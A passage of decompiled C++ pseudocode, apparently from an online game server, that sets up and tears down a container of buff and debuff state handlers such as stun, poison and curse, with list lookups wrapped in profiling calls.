*)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEFAULT.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXHPPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_; this->ac_MAXSPPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_; this->ac_CONSPHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorSPHeal::_vftable_; this->ac_QUESTSTUN.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEXMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEMR.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSETH.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEAC.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSETB.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEDEX.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEWC.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_INTRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSECRITICAL.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_GUILDBUFACL.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_QUESTENTANGLE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CONHPSPHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::_vftable_; this->ac_BURN.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_FITBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_TOTALDAMAGERATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::_vftable_; this->ac_TOTALDAMAGERATE_BYDEF.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::_vftable_; this->ac_TIMEATTACK.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActerTimeAttack::_vftable_; this->ac_GTI.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_vftable_; this->ac_DETACHPROCESS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorDetachProcess::_vftable_; v2 = (char *)this->ac_SubStateList; memset(this->ac_SubStateList, 0, sizeof(this->ac_SubStateList)); v1->ac_SubStateList[1] = &v1->ac_STRPLUS; v1->ac_SubStateList[2] = &v1->ac_WCPLUS; v1->ac_SubStateList[3] = &v1->ac_WCRATE; v1->ac_SubStateList[4] = &v1->ac_ACPLUS; v1->ac_SubStateList[5] = &v1->ac_ACRATE; v1->ac_SubStateList[6] = &v1->ac_DEXPLUS; v1->ac_SubStateList[7] = &v1->ac_TBPLUS; v1->ac_SubStateList[8] = &v1->ac_TBRATE; v1->ac_SubStateList[9] = &v1->ac_THPLUS; v1->ac_SubStateList[10] = &v1->ac_THRATE; v1->ac_SubStateList[11] = &v1->ac_INTPLUS; v1->ac_SubStateList[12] = &v1->ac_MAPLUS; v1->ac_SubStateList[13] = &v1->ac_MENPLUS; v1->ac_SubStateList[14] = &v1->ac_MRPLUS; v1->ac_SubStateList[15] = &v1->ac_MRRATE; v1->ac_SubStateList[16] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DAMAGESHIELD; v1->ac_SubStateList[17] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MANASHIELD; v1->ac_SubStateList[18] = &v1->ac_SHIELDACRATE; v1->ac_SubStateList[19] = &v1->ac_MOVESPEED; v1->ac_SubStateList[20] = &v1->ac_ATKSPEED; v1->ac_SubStateList[21] = &v1->ac_STUN; v1->ac_SubStateList[22] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_BLOODING; v1->ac_SubStateList[23] = &v1->ac_ENTANGLE; v1->ac_SubStateList[24] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAXHPRATE; v1->ac_SubStateList[25] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAXSPRATE; v1->ac_SubStateList[26] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DEADHPSPRECOVRATE; v1->ac_SubStateList[27] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DOTDAMAGE; v1->ac_SubStateList[28] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_FEAR; v1->ac_SubStateList[29] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CONHEAL; v1->ac_SubStateList[30] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CASTINGTIMEPLUS; v1->ac_SubStateList[31] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_COOLTIMEREMOVE; v1->ac_SubStateList[32] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAGICATTACKNOUSE; v1->ac_SubStateList[34] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DISEASE; v1->ac_SubStateList[35] = &v1->ac_CURSE; v1->ac_SubStateList[36] = &v1->ac_REGIST; v1->ac_SubStateList[37] = &v1->ac_CRITICALRATE; v1->ac_SubStateList[38] = &v1->ac_DEFAULT; this->ac_SubStateList[0] = &this->ac_STRRATE; this->ac_SubStateList[33] = (AbnormalStateContainer::SubAbnormalStateActor *)&this->ac_POISON; v1->ac_SubStateList[39] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAXHPPLUS; v1->ac_SubStateList[40] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAXSPPLUS; v1->ac_SubStateList[41] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CONSPHEAL; v1->ac_SubStateList[42] = &v1->ac_QUESTSTUN; v1->ac_SubStateList[43] = &v1->ac_WCMINUS; v1->ac_SubStateList[44] = &v1->ac_DEXMINUS; v1->ac_SubStateList[45] = &v1->ac_ACMINUS; v1->ac_SubStateList[46] = &v1->ac_MRMINUS; v1->ac_SubStateList[47] = &v1->ac_STRMINUS; v1->ac_SubStateList[48] = &v1->ac_THMINUS; v1->ac_SubStateList[49] = &v1->ac_TBMINUS; v1->ac_SubStateList[50] = &v1->ac_CURSEMR; v1->ac_SubStateList[51] = &v1->ac_CURSETH; v1->ac_SubStateList[52] = &v1->ac_CURSEAC; v1->ac_SubStateList[53] = &v1->ac_CURSETB; v1->ac_SubStateList[54] = &v1->ac_CURSEDEX; v1->ac_SubStateList[55] = &v1->ac_CURSEWC; v1->ac_SubStateList[56] = &v1->ac_INTRATE; v1->ac_SubStateList[57] = &v1->ac_CURSECRITICAL; v1->ac_SubStateList[59] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_RANGESHIELDCOUNTER; v1->ac_SubStateList[60] = &v1->ac_HIDE; v1->ac_SubStateList[58] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_SELFREVIVE; v1->ac_SubStateList[61] = &v1->ac_BLIND; v1->ac_SubStateList[62] = &v1->ac_DEADLYBLESSING; v1->ac_SubStateList[63] = &v1->ac_GUILDBUFACL; v1->ac_SubStateList[65] = &v1->ac_QUESTENTANGLE; v1->ac_SubStateList[66] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CONHPSPHEAL; v1->ac_SubStateList[70] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->AC_CAPTIVATE; v1->ac_SubStateList[75] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_TOTALDAMAGERATE; v1->ac_SubStateList[76] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_TOTALDAMAGERATE_BYDEF; v1->ac_SubStateList[77] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_TIMEATTACK; v1->ac_SubStateList[82] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_GTI; v1->ac_SubStateList[64] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[73] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[74] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[71] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[72] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; this->ac_SubStateList[67] = (AbnormalStateContainer::SubAbnormalStateActor *)&this->ac_POISON; v1->ac_SubStateList[68] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[69] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[78] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DETACHPROCESS; v1->ac_SubStateList[79] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[80] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[81] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v3 = 0; do { if ( !*(_DWORD *)v2 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateContainer::ActorCluster::ActorCluster : Buffer not full", v3); ShineExit("AbnormalStateContainer::ActorCluster::ActorCluster"); } ++v3; v2 += 4; } while ( v3 < 83 ); } // 596344: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActor___vftable_)(); // 596378: using guessed type int (*AbnormalStateContainer__SubAbnormalStateMaxHP___vftable_)(); // 5963AC: using guessed type int (*AbnormalStateContainer__SubAbnormalStateFear___vftable_)(); // 5963E0: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorPoison___vftable_)(); // 596414: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorDisease___vftable_)(); // 596448: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorHPHeal___vftable_)(); // 59647C: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorSPHeal___vftable_)(); // 5964B0: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorHPSPHeal___vftable_)(); // 5964E4: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorShield___vftable_)(); // 596518: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorManaShield___vftable_)(); // 59654C: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorPartyRecharge___vftable_)(); // 596580: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorSelfRevive___vftable_)(); // 5965B4: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorRangeIntercept___vftable_)(); // 5965E8: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorLastDmgRatio___vftable_)(); // 59661C: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorLastDmgRatio_DefSide___vftable_)(); // 596650: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActerTimeAttack___vftable_)(); // 596684: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorCastDelay___vftable_)(); // 5966B8: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorIgnoreCoolTime___vftable_)(); // 5966EC: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorSilence___vftable_)(); // 596AEC: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorAreaDamage___vftable_)(); // 596BFC: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorDetachProcess___vftable_)(); // 596C68: using guessed type int (*AbnormalStateContainer__SubAbnormalStateCaptivate___vftable_)(); //----- (00404830) -------------------------------------------------------- void __thiscall AbnormalStateContainer::ActorCluster::_ActorCluster(AbnormalStateContainer::ActorCluster *this) { this->ac_DETACHPROCESS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_GTI.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TIMEATTACK.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TOTALDAMAGERATE_BYDEF.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TOTALDAMAGERATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_FITBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BURN.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CONHPSPHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_QUESTENTANGLE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_GUILDBUFACL.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSECRITICAL.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_INTRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEWC.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEDEX.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSETB.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEAC.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSETH.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEMR.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEXMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_QUESTSTUN.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CONSPHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXSPPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXHPPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEFAULT.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CRITICALRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_REGIST.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DISEASE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_POISON.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAGICATTACKNOUSE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_COOLTIMEREMOVE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CASTINGTIMEPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CONHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->AC_CAPTIVATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_FEAR.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DOTDAMAGE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEADLYBLESSING.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BLIND.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_HIDE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_RANGESHIELDCOUNTER.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_SELFREVIVE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEADHPSPRECOVRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXSPRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXHPRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ENTANGLE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STUN.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ATKSPEED.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MOVESPEED.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_SHIELDACRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MANASHIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DAMAGESHIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MENPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_INTPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEXPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DefaultSubStateActor.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; } // 596344: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActor___vftable_)(); //----- (004049A0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // esi@1 v1 = this; Metronome::Metronome(&this->aeo_Tick.nextaction); SetItemData::SetItemAbstateEffect::SetItemAbstateEffect(&v1->aeo_SetItemEffect); v1->aeo_Index = 391; *(_DWORD *)&v1->aeo_PartyEnchant[4]._bf0 = 0; *(_DWORD *)&v1->gap29[7] = 0; *(_DWORD *)&v1->gap29[15] = 0; *(_DWORD *)&v1->gap29[23] = 0; *(_DWORD *)&v1->gap29[31] = 0; } //----- (00404A00) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_CompName(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 hnd, AbnormalStateContainer::AbstateElementInObject *key) { AbnormalStateContainer::AbstateElementInObject *v4; // edi@1 int v5; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_CompName"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_CompName"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = key->aeo_Index - v4->aeo_Index; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_CompName"); return v5; } //----- (00404A70) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateListInObject::_AbstateListInObject(void *ptr) { void *v1; // esi@1 void *v2; // eax@1 v1 = ptr; v2 = (void *)*((_DWORD *)ptr + 872); *((_DWORD *)ptr + 870) = List::_vftable_; if ( v2 ) operator delete__(v2); _eh_vector_destructor_iterator_( v1, 0x74u, 30, (void (__thiscall *)(void *))AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject); } // 596C4C: using guessed type int (__stdcall *List_AbnormalStateContainer__AbstateElementInObject____vftable_[3])(__int16 hnd); //----- (00404AB0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_FindSubState(AbnormalStateContainer::AbstateElementInObject *this, int sub, char *substate) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 int v4; // eax@1 char result; // al@2 int v6; // eax@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = BTree::operator__(&unk_608624, substate); if ( v4 == -1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"); result = 0; } else { v4 = (unsigned __int16)v4; if ( unk_608004 >= (unsigned int)(unsigned __int16)v4 ) { v6 = unk_607FFC + 728 * v4; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v4); v6 = 0; } *(_DWORD *)&v3->aeo_PartyEnchant[8 * sub + 4]._bf0 = v6; if ( v6 ) { *(_DWORD *)&v3->aeo_PartyEnchant[8 * sub]._bf0 = *(_DWORD *)(*(_DWORD *)v6 + 34); --funcallanalizer.fca_stackpoint; 